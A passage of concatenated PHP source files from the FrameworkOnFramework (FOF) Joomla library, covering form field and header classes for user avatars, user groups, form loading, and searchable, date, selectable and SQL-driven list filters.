foreach ($jResponse as $response)
{
if ($response)
{
$avatar_url = $response;
}
}
}
if (empty($avatar_url))
{
$show_avatar = false;
}
}
else
{
// Fall back to the Gravatar method
$md5 = md5($user->email);
if (FOFPlatform::getInstance()->isCli())
{
$scheme = 'http';
}
else
{
$scheme = JURI::getInstance()->getScheme();
}
if ($scheme == 'http')
{
$avatar_url = 'http://www.gravatar.com/avatar/' . $md5 .
'.jpg?s='
. $avatar_size . '&d=mm';
}
else
{
$avatar_url = 'https://secure.gravatar.com/avatar/' . $md5 .
'.jpg?s='
. $avatar_size . '&d=mm';
}
}
}
// Generate the HTML
$html = '<div id="' . $this->id . '"
' . $class . '>';
if ($show_avatar)
{
$html .= '<img src="' . $avatar_url . '"
align="left" class="fof-usersfield-avatar" />';
}
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
if ($show_username)
{
$html .= '<span
class="fof-usersfield-username">' . $user->username
. '</span>';
}
if ($show_id)
{
$html .= '<span class="fof-usersfield-id">' .
$user->id
. '</span>';
}
if ($show_name)
{
$html .= '<span class="fof-usersfield-name">'
. $user->name
. '</span>';
}
if ($show_email)
{
$html .= '<span class="fof-usersfield-email">'
. $user->email
. '</span>';
}
if ($show_link)
{
$html .= '</a>';
}
$html .= '</div>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('_JEXEC') or die;
JFormHelper::loadFieldClass('usergroup');
/**
* Form Field class for FOF
* Joomla! user groups
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldUsergroup extends JFormFieldUsergroup implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
$params = $this->getOptions();
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('a.id AS value, a.title AS text');
$query->from('#__usergroups AS a');
$query->group('a.id, a.title');
$query->order('a.id ASC');
$query->order($query->qn('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
// If params is an array, push these options to the array
if (is_array($params))
{
$options = array_merge($params, $options);
}
// If all levels is allowed, push it into the array.
elseif ($params)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS')));
}
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($options,
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('a.id AS value, a.title AS text');
$query->from('#__usergroups AS a');
$query->group('a.id, a.title');
$query->order('a.id ASC');
$query->order($query->qn('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($options,
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic interface that a FOF form field class must implement
*
* @package FrameworkOnFramework
* @since 2.0
*/
interface FOFFormField
{
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @return string The field HTML
*
* @since 2.0
*/
public function getStatic();
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @return string The field HTML
*
* @since 2.0
*/
public function getRepeatable();
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (version_compare(JVERSION, '2.5.0', 'lt'))
{
jimport('joomla.form.form');
jimport('joomla.form.formfield');
jimport('joomla.form.formrule');
}
/**
* FOFForm is an extension to JForm which support not only edit views but
also
* browse (record list) and read (single record display) views based on XML
* forms.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFForm extends JForm
{
/**
* The model attached to this view
*
* @var FOFModel
*/
protected $model;
/**
* The view used to render this form
*
* @var FOFView
*/
protected $view;
/**
* Method to get an instance of a form.
*
* @param string $name The name of the form.
* @param string $data The name of an XML file or string to load as
the form definition.
* @param array $options An array of form options.
* @param bool $replace Flag to toggle whether form fields should be
replaced if a field
* already exists with the same group/name.
* @param bool|string $xpath An optional xpath to search for the
fields.
*
* @return object FOFForm instance.
*
* @since 2.0
* @throws InvalidArgumentException if no data provided.
* @throws RuntimeException if the form could not be loaded.
*/
public static function getInstance($name, $data = null, $options =
array(), $replace = true, $xpath = false)
{
// Reference to array with form instances
$forms = &self::$forms;
// Only instantiate the form if it does not already exist.
if (!isset($forms[$name]))
{
$data = trim($data);
if (empty($data))
{
throw new
InvalidArgumentException(sprintf('FOFForm::getInstance(name,
*%s*)', gettype($data)));
}
// Instantiate the form.
$forms[$name] = new FOFForm($name, $options);
// Load the data.
if (substr(trim($data), 0, 1) == '<')
{
if ($forms[$name]->load($data, $replace, $xpath) == false)
{
throw new RuntimeException('FOFForm::getInstance could not load
form');
}
}
else
{
if ($forms[$name]->loadFile($data, $replace, $xpath) == false)
{
throw new RuntimeException('FOFForm::getInstance could not load
file ' . $data . '.xml');
}
}
}
return $forms[$name];
}
/**
* Returns the value of an attribute of the form itself
*
* @param string $attribute The name of the attribute
* @param mixed $default Optional default value to return
*
* @return mixed
*
* @since 2.0
*/
public function getAttribute($attribute, $default = null)
{
$value = $this->xml->attributes()->$attribute;
if (is_null($value))
{
return $default;
}
else
{
return (string) $value;
}
}
/**
* Loads the CSS files defined in the form, based on its cssfiles
attribute
*
* @return void
*
* @since 2.0
*/
public function loadCSSFiles()
{
// Support for CSS files
$cssfiles = $this->getAttribute('cssfiles');
if (!empty($cssfiles))
{
$cssfiles = explode(',', $cssfiles);
foreach ($cssfiles as $cssfile)
{
FOFTemplateUtils::addCSS(trim($cssfile));
}
}
// Support for LESS files
$lessfiles = $this->getAttribute('lessfiles');
if (!empty($lessfiles))
{
$lessfiles = explode(',', $lessfiles);
foreach ($lessfiles as $def)
{
$parts = explode('||', $def, 2);
$lessfile = $parts[0];
$alt = (count($parts) > 1) ? trim($parts[1]) : null;
FOFTemplateUtils::addLESS(trim($lessfile), $alt);
}
}
}
/**
* Loads the Javascript files defined in the form, based on its jsfiles
attribute
*
* @return void
*
* @since 2.0
*/
public function loadJSFiles()
{
$jsfiles = $this->getAttribute('jsfiles');
if (empty($jsfiles))
{
return;
}
$jsfiles = explode(',', $jsfiles);
foreach ($jsfiles as $jsfile)
{
FOFTemplateUtils::addJS(trim($jsfile));
}
}
/**
* Returns a reference to the protected $data object, allowing direct
* access to and manipulation of the form's data.
*
* @return JRegistry The form's data registry
*
* @since 2.0
*/
public function getData()
{
return $this->data;
}
/**
* Attaches a FOFModel to this form
*
* @param FOFModel &$model The model to attach to the form
*
* @return void
*/
public function setModel(FOFModel &$model)
{
$this->model = $model;
}
/**
* Returns the FOFModel attached to this form
*
* @return FOFModel
*/
public function &getModel()
{
return $this->model;
}
/**
* Attaches a FOFView to this form
*
* @param FOFView &$view The view to attach to the form
*
* @return void
*/
public function setView(FOFView &$view)
{
$this->view = $view;
}
/**
* Returns the FOFView attached to this form
*
* @return FOFView
*/
public function &getView()
{
return $this->view;
}
/**
* Method to get an array of FOFFormHeader objects in the headerset.
*
* @return array The array of FOFFormHeader objects in the headerset.
*
* @since 2.0
*/
public function getHeaderset()
{
$fields = array();
$elements = $this->findHeadersByGroup();
// If no field elements were found return empty.
if (empty($elements))
{
return $fields;
}
// Build the result array from the found field elements.
foreach ($elements as $element)
{
// Get the field groups for the element.
$attrs = $element->xpath('ancestor::headers[@name]/@name');
$groups = array_map('strval', $attrs ? $attrs : array());
$group = implode('.', $groups);
// If the field is successfully loaded add it to the result array.
if ($field = $this->loadHeader($element, $group))
{
$fields[$field->id] = $field;
}
}
return $fields;
}
/**
* Method to get an array of <header /> elements from the form XML
document which are
* in a control group by name.
*
* @param mixed $group The optional dot-separated form group path
on which to find the fields.
* Null will return all fields. False will
return fields not in a group.
* @param boolean $nested True to also include fields in nested groups
that are inside of the
* group for which to find fields.
*
* @return mixed Boolean false on error or array of SimpleXMLElement
objects.
*
* @since 2.0
*/
protected function &findHeadersByGroup($group = null, $nested = false)
{
$false = false;
$fields = array();
// Make sure there is a valid JForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
return $false;
}
// Get only fields in a specific group?
if ($group)
{
// Get the fields elements for a given group.
$elements = &$this->findHeader($group);
// Get all of the field elements for the fields elements.
foreach ($elements as $element)
{
// If there are field elements add them to the return result.
if ($tmp = $element->xpath('descendant::header'))
{
// If we also want fields in nested groups then just merge the arrays.
if ($nested)
{
$fields = array_merge($fields, $tmp);
}
// If we want to exclude nested groups then we need to check each
field.
else
{
$groupNames = explode('.', $group);
foreach ($tmp as $field)
{
// Get the names of the groups that the field is in.
$attrs =
$field->xpath('ancestor::headers[@name]/@name');
$names = array_map('strval', $attrs ? $attrs : array());
// If the field is in the specific group then add it to the return
list.
if ($names == (array) $groupNames)
{
$fields = array_merge($fields, array($field));
}
}
}
}
}
}
elseif ($group === false)
{
// Get only field elements not in a group.
$fields =
$this->xml->xpath('descendant::headers[not(@name)]/header |
descendant::headers[not(@name)]/headerset/header ');
}
else
{
// Get an array of all the <header /> elements.
$fields = $this->xml->xpath('//header');
}
return $fields;
}
/**
* Method to get a header field represented as a FOFFormHeader object.
*
* @param string $name The name of the header field.
* @param string $group The optional dot-separated form group path on
which to find the field.
* @param mixed $value The optional value to use as the default for
the field.
*
* @return mixed The FOFFormHeader object for the field or boolean false
on error.
*
* @since 2.0
*/
public function getHeader($name, $group = null, $value = null)
{
// Make sure there is a valid FOFForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
return false;
}
// Attempt to find the field by name and group.
$element = $this->findHeader($name, $group);
// If the field element was not found return false.
if (!$element)
{
return false;
}
return $this->loadHeader($element, $group, $value);
}
/**
* Method to get a header field represented as an XML element object.
*
* @param string $name The name of the form field.
* @param string $group The optional dot-separated form group path on
which to find the field.
*
* @return mixed The XML element object for the field or boolean false
on error.
*
* @since 2.0
*/
protected function findHeader($name, $group = null)
{
$element = false;
$fields = array();
// Make sure there is a valid JForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
return false;
}
// Let's get the appropriate field element based on the method
arguments.
if ($group)
{
// Get the fields elements for a given group.
$elements = &$this->findGroup($group);
// Get all of the field elements with the correct name for the fields
elements.
foreach ($elements as $element)
{
// If there are matching field elements add them to the fields array.
if ($tmp =
$element->xpath('descendant::header[@name="' . $name .
'"]'))
{
$fields = array_merge($fields, $tmp);
}
}
// Make sure something was found.
if (!$fields)
{
return false;
}
// Use the first correct match in the given group.
$groupNames = explode('.', $group);
foreach ($fields as &$field)
{
// Get the group names as strings for ancestor fields elements.
$attrs =
$field->xpath('ancestor::headerfields[@name]/@name');
$names = array_map('strval', $attrs ? $attrs : array());
// If the field is in the exact group use it and break out of the loop.
if ($names == (array) $groupNames)
{
$element = &$field;
break;
}
}
}
else
{
// Get an array of fields with the correct name.
$fields = $this->xml->xpath('//header[@name="' .
$name . '"]');
// Make sure something was found.
if (!$fields)
{
return false;
}
// Search through the fields for the right one.
foreach ($fields as &$field)
{
// If we find an ancestor fields element with a group name then it
isn't what we want.
if ($field->xpath('ancestor::headerfields[@name]'))
{
continue;
}
// Found it!
else
{
$element = &$field;
break;
}
}
}
return $element;
}
/**
* Method to load, setup and return a FOFFormHeader object based on field
data.
*
* @param string $element The XML element object representation of the
form field.
* @param string $group The optional dot-separated form group path
on which to find the field.
* @param mixed $value The optional value to use as the default for
the field.
*
* @return mixed The FOFFormHeader object for the field or boolean false
on error.
*
* @since 2.0
*/
protected function loadHeader($element, $group = null, $value = null)
{
// Make sure there is a valid SimpleXMLElement.
if (!($element instanceof SimpleXMLElement))
{
return false;
}
// Get the field type.
$type = $element['type'] ? (string) $element['type']
: 'field';
// Load the JFormField object for the field.
$field = $this->loadHeaderType($type);
// If the object could not be loaded, get a text field object.
if ($field === false)
{
$field = $this->loadHeaderType('field');
}
// Setup the FOFFormHeader object.
$field->setForm($this);
if ($field->setup($element, $value, $group))
{
return $field;
}
else
{
return false;
}
}
/**
* Method to remove a header from the form definition.
*
* @param string $name The name of the form field for which remove.
* @param string $group The optional dot-separated form group path on
which to find the field.
*
* @return boolean True on success, false otherwise.
*
* @throws UnexpectedValueException
*/
public function removeHeader($name, $group = null)
{
// Make sure there is a valid JForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
throw new UnexpectedValueException(sprintf('%s::getFieldAttribute
`xml` is not an instance of SimpleXMLElement', get_class($this)));
}
// Find the form field element from the definition.
$element = $this->findHeader($name, $group);
// If the element exists remove it from the form definition.
if ($element instanceof SimpleXMLElement)
{
$dom = dom_import_simplexml($element);
$dom->parentNode->removeChild($dom);
return true;
}
return false;
}
/**
* Proxy for {@link FOFFormHelper::loadFieldType()}.
*
* @param string $type The field type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed FOFFormField object on success, false otherwise.
*
* @since 2.0
*/
protected function loadFieldType($type, $new = true)
{
return FOFFormHelper::loadFieldType($type, $new);
}
/**
* Proxy for {@link FOFFormHelper::loadHeaderType()}.
*
* @param string $type The field type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed FOFFormHeader object on success, false otherwise.
*
* @since 2.0
*/
protected function loadHeaderType($type, $new = true)
{
return FOFFormHelper::loadHeaderType($type, $new);
}
/**
* Proxy for {@link FOFFormHelper::loadRuleType()}.
*
* @param string $type The rule type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed JFormRule object on success, false otherwise.
*
* @see FOFFormHelper::loadRuleType()
* @since 2.0
*/
protected function loadRuleType($type, $new = true)
{
return FOFFormHelper::loadRuleType($type, $new);
}
/**
* Proxy for {@link FOFFormHelper::addFieldPath()}.
*
* @param mixed $new A path or array of paths to add.
*
* @return array The list of paths that have been added.
*
* @since 2.0
*/
public static function addFieldPath($new = null)
{
return FOFFormHelper::addFieldPath($new);
}
/**
* Proxy for {@link FOFFormHelper::addHeaderPath()}.
*
* @param mixed $new A path or array of paths to add.
*
* @return array The list of paths that have been added.
*
* @since 2.0
*/
public static function addHeaderPath($new = null)
{
return FOFFormHelper::addHeaderPath($new);
}
/**
* Proxy for FOFFormHelper::addFormPath().
*
* @param mixed $new A path or array of paths to add.
*
* @return array The list of paths that have been added.
*
* @see FOFFormHelper::addFormPath()
* @since 2.0
*/
public static function addFormPath($new = null)
{
return FOFFormHelper::addFormPath($new);
}
/**
* Proxy for FOFFormHelper::addRulePath().
*
* @param mixed $new A path or array of paths to add.
*
* @return array The list of paths that have been added.
*
* @see FOFFormHelper::addRulePath()
* @since 2.0
*/
public static function addRulePath($new = null)
{
return FOFFormHelper::addRulePath($new);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Access level field header
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderAccesslevel extends FOFFormHeaderFieldselectable
{
/**
* Method to get the list of access levels
*
* @return array A list of access levels.
*
* @since 2.0
*/
protected function getOptions()
{
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('a.id AS value, a.title AS text');
$query->from('#__viewlevels AS a');
$query->group('a.id, a.title, a.ordering');
$query->order('a.ordering ASC');
$query->order($query->qn('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, without any filters
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderField extends FOFFormHeader
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
$sortable = ($this->element['sortable'] !=
'false');
$label = $this->getLabel();
if ($sortable)
{
$view = $this->form->getView();
return JHTML::_('grid.sort', $label, $this->name,
$view->getLists()->order_Dir, $view->getLists()->order,
$this->form->getModel()->task
);
}
else
{
return JText::_($label);
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, with text input (search) filter
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFielddate extends FOFFormHeaderField
{
/**
* Get the filter field
*
* @return string The HTML
*/
protected function getFilter()
{
// Initialize some field attributes.
$format = $this->element['format'] ? (string)
$this->element['format'] : '%Y-%m-%d';
$attributes = array();
if ($this->element['size'])
{
$attributes['size'] = (int)
$this->element['size'];
}
if ($this->element['maxlength'])
{
$attributes['maxlength'] = (int)
$this->element['maxlength'];
}
if ($this->element['filterclass'])
{
$attributes['class'] = (string)
$this->element['filterclass'];
}
if ((string) $this->element['readonly'] == 'true')
{
$attributes['readonly'] = 'readonly';
}
if ((string) $this->element['disabled'] == 'true')
{
$attributes['disabled'] = 'disabled';
}
if ($this->element['onchange'])
{
$attributes['onchange'] = (string)
$this->element['onchange'];
}
else
{
$onchange = 'document.adminForm.submit()';
}
if ((string) $this->element['placeholder'])
{
$attributes['placeholder'] = JText::_((string)
$this->element['placeholder']);
}
$name = $this->element['searchfieldname'] ?
$this->element['searchfieldname'] : $this->name;
if ($this->element['searchfieldname'])
{
$model = $this->form->getModel();
$searchvalue = $model->getState((string)
$this->element['searchfieldname']);
}
else
{
$searchvalue = $this->value;
}
// Get some system objects.
$config = FOFPlatform::getInstance()->getConfig();
$user = JFactory::getUser();
// If a known filter is given use it.
switch (strtoupper((string) $this->element['filter']))
{
case 'SERVER_UTC':
// Convert a date to UTC based on the server timezone.
if ((int) $this->value)
{
// Get a date object based on the correct timezone.
$date = FOFPlatform::getInstance()->getDate($searchvalue,
'UTC');
$date->setTimezone(new
DateTimeZone($config->get('offset')));
// Transform the date string.
$searchvalue = $date->format('Y-m-d H:i:s', true, false);
}
break;
case 'USER_UTC':
// Convert a date to UTC based on the user timezone.
if ((int) $searchvalue)
{
// Get a date object based on the correct timezone.
$date = FOFPlatform::getInstance()->getDate($this->value,
'UTC');
$date->setTimezone($user->getTimezone());
// Transform the date string.
$searchvalue = $date->format('Y-m-d H:i:s', true, false);
}
break;
}
return JHtml::_('calendar', $searchvalue, $name, $name,
$format, $attributes);
}
/**
* Get the buttons HTML code
*
* @return string The HTML
*/
protected function getButtons()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, with text input (search) filter
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFieldfilterable extends FOFFormHeaderFieldsearchable
{
/**
* Get the filter field
*
* @return string The HTML
*/
protected function getFilter()
{
$valide = array('yes', 'true', '1');
// Initialize some field(s) attributes.
$size = $this->element['size'] ? '
size="' . (int) $this->element['size'] .
'"' : '';
$maxLength = $this->element['maxlength'] ? '
maxlength="' . (int) $this->element['maxlength'] .
'"' : '';
$filterclass = $this->element['filterclass'] ? '
class="' . (string) $this->element['filterclass'] .
'"' : '';
$placeholder = $this->element['placeholder'] ?
$this->element['placeholder'] : $this->getLabel();
$name = $this->element['searchfieldname'] ?
$this->element['searchfieldname'] : $this->name;
$placeholder = ' placeholder="' . JText::_($placeholder) .
'"';
$single = in_array($this->element['single'], $valide) ?
true : false;
$showMethod = in_array($this->element['showmethod'],
$valide) ? true : false;
$method = $this->element['method'] ?
$this->element['method'] : 'between';
$fromName = $this->element['fromname'] ?
$this->element['fromname'] : 'from';
$toName = $this->element['toname'] ?
$this->element['toname'] : 'to';
$values = $this->form->getModel()->getState($name);
$fromValue = $values[$fromName];
$toValue = $values[$toName];
// Initialize JavaScript field attributes.
if ($this->element['onchange'])
{
$onchange = ' onchange="' . (string)
$this->element['onchange'] . '"';
}
else
{
$onchange = '
onchange="document.adminForm.submit();"';
}
if ($showMethod)
{
$html = '<input type="text" name="' . $name
. '[method]" value="'. $method . '"
/>';
} else
{
$html = '<input type="hidden" name="' .
$name . '[method]" value="'. $method . '"
/>';
}
$html .= '<input type="text" name="' . $name
. '[from]" id="' . $this->id . '_' .
$fromName . '"' . ' value="'
. htmlspecialchars($fromValue, ENT_COMPAT, 'UTF-8') .
'"' . $filterclass . $size . $placeholder . $onchange .
$maxLength . '/>';
if (!$single)
{
$html .= '<input type="text" name="' . $name
. '[to]" id="' . $this->id . '_' . $toName
. '"' . ' value="'
. htmlspecialchars($toValue, ENT_COMPAT, 'UTF-8') .
'"' . $filterclass . $size . $placeholder . $onchange .
$maxLength . '/>';
}
return $html;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, with text input (search) filter
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFieldsearchable extends FOFFormHeaderField
{
/**
* Get the filter field
*
* @return string The HTML
*/
protected function getFilter()
{
// Initialize some field attributes.
$size = $this->element['size'] ? '
size="' . (int) $this->element['size'] .
'"' : '';
$maxLength = $this->element['maxlength'] ? '
maxlength="' . (int) $this->element['maxlength'] .
'"' : '';
$filterclass = $this->element['filterclass'] ? '
class="' . (string) $this->element['filterclass'] .
'"' : '';
$placeholder = $this->element['placeholder'] ?
$this->element['placeholder'] : $this->getLabel();
$name = $this->element['searchfieldname'] ?
$this->element['searchfieldname'] : $this->name;
$placeholder = ' placeholder="' . JText::_($placeholder) .
'"';
if ($this->element['searchfieldname'])
{
$model = $this->form->getModel();
$searchvalue = $model->getState((string)
$this->element['searchfieldname']);
}
else
{
$searchvalue = $this->value;
}
// Initialize JavaScript field attributes.
if ($this->element['onchange'])
{
$onchange = ' onchange="' . (string)
$this->element['onchange'] . '"';
}
else
{
$onchange = '
onchange="document.adminForm.submit();"';
}
return '<input type="text" name="' . $name .
'" id="' . $this->id . '"' . '
value="'
. htmlspecialchars($searchvalue, ENT_COMPAT, 'UTF-8') .
'"' . $filterclass . $size . $placeholder . $onchange .
$maxLength . '/>';
}
/**
* Get the buttons HTML code
*
* @return string The HTML
*/
protected function getButtons()
{
$buttonclass = $this->element['buttonclass'] ? (string)
$this->element['buttonclass'] : 'btn hasTip
hasTooltip';
$buttonsState = strtolower($this->element['buttons']);
$show_buttons = !in_array($buttonsState, array('no',
'false', '0'));
if (!$show_buttons)
{
return '';
}
$html = '';
$html .= '<button class="' . $buttonclass .
'" onclick="this.form.submit();" title="' .
JText::_('JSEARCH_FILTER') . '" >' .
"\n";
$html .= '<i class="icon-search"></i>';
$html .= '</button>' . "\n";
$html .= '<button class="' . $buttonclass .
'" onclick="document.adminForm.' . $this->id .
'.value=\'\';this.form.submit();" title="' .
JText::_('JSEARCH_RESET') . '">' .
"\n";
$html .= '<i class="icon-remove"></i>';
$html .= '</button>' . "\n";
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, with drop down filters
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFieldselectable extends FOFFormHeaderField
{
/**
* Create objects for the options
*
* @return array The array of option objects
*/
protected function getOptions()
{
$options = array();
// Get the field $options
foreach ($this->element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
// Create a new option object based on the <option /> element.
$options[] = JHtml::_(
'select.option',
(string) $option['value'],
JText::alt(
trim((string) $option),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)
),
'value', 'text', ((string)
$option['disabled'] == 'true')
);
}
// Do we have a class and method source for our options?
$source_file = empty($this->element['source_file']) ?
'' : (string) $this->element['source_file'];
$source_class = empty($this->element['source_class']) ?
'' : (string) $this->element['source_class'];
$source_method = empty($this->element['source_method']) ?
'' : (string) $this->element['source_method'];
$source_key = empty($this->element['source_key']) ?
'*' : (string) $this->element['source_key'];
$source_value = empty($this->element['source_value']) ?
'*' : (string) $this->element['source_value'];
$source_translate =
empty($this->element['source_translate']) ? 'true' :
(string) $this->element['source_translate'];
$source_translate = in_array(strtolower($source_translate),
array('true','yes','1','on')) ?
true : false;
$source_format = empty($this->element['source_format']) ?
'' : (string) $this->element['source_format'];
if ($source_class && $source_method)
{
// Maybe we have to load a file?
if (!empty($source_file))
{
$source_file = FOFTemplateUtils::parsePath($source_file, true);
if
(FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileExists($source_file))
{
include_once $source_file;
}
}
// Make sure the class exists
if (class_exists($source_class, true))
{
// ...and so does the option
if (in_array($source_method, get_class_methods($source_class)))
{
// Get the data from the class
if ($source_format == 'optionsobject')
{
$options = array_merge($options, $source_class::$source_method());
}
else
{
$source_data = $source_class::$source_method();
// Loop through the data and prime the $options array
foreach ($source_data as $k => $v)
{
$key = (empty($source_key) || ($source_key == '*')) ? $k :
$v[$source_key];
$value = (empty($source_value) || ($source_value == '*'))
? $v : $v[$source_value];
if ($source_translate)
{
$value = JText::_($value);
}
$options[] = JHtml::_('select.option', $key, $value,
'value', 'text');
}
}
}
}
}
reset($options);
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic field header, with drop down filters based on a SQL query
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFieldsql extends FOFFormHeaderFieldselectable
{
/**
* Create objects for the options
*
* @return array The array of option objects
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$key = $this->element['key_field'] ? (string)
$this->element['key_field'] : 'value';
$value = $this->element['value_field'] ? (string)
$this->element['value_field'] : (string)
$this->element['name'];
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$query = (string) $this->element['query'];
// Get the database object.
$db = FOFPlatform::getInstance()->getDbo();
// Set the query and get the result list.
$db->setQuery($query);
$items = $db->loadObjectlist();
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($translate == true)
{
$options[] = JHtml::_('select.option', $item->$key,
JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key,
$item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic filter, text box entry with calendar button
*
* @package FrameworkOnFramework
* @since 2.3.3
*/
class FOFFormHeaderFilterdate extends FOFFormHeaderFielddate
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
